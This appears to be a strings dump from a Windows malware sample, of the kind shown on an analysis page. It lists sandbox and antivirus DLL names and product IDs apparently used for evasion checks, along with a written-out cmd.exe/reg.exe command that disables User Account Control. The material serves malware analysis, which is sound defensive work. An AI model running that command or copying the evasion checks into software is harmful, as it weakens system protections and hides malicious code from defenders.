DLL doesn't export anything</pre><pre>BTMemoryGetProcAddress: exported symbol not found</pre><pre>kernel32.dll</pre><pre>76487-644-3177037-23510</pre><pre>55274-640-2673064-23950</pre><pre>sbiedll.dll</pre><pre>dbghelp.dll</pre><pre>RLHOOK32.DLL</pre><pre>snxhk.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion</pre><pre>ntdll.dll</pre><pre>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f</pre><pre>%sysdir%\</pre><pre>%sysdir%</pre><pre>~a39.log</pre><pre>cmd_.bat</pre><pre>sevane.tmp</pre><pre>user32.dll</pre><pre>cmd.dll</pre><pre>~a21524.log</pre><pre>GetProcessHeap</pre><pre>oleaut32.dll</pre><pre>advapi32.dll</pre><pre>RegOpenKeyExA</pre><pre>RegOpenKeyA</pre><pre>RegCloseKey</pre><pre>WinExec</pre><pre>GetWindowsDirectoryA</pre><pre>wsock32.dll</pre><pre>shell32.dll</pre><pre>ShellExecuteA</pre><pre>7'7 7/73777;7?7!8<8</pre><pre>KWindows</pre><pre>66006666</pre></VeriSign></pre></pre></VeriSign></pre>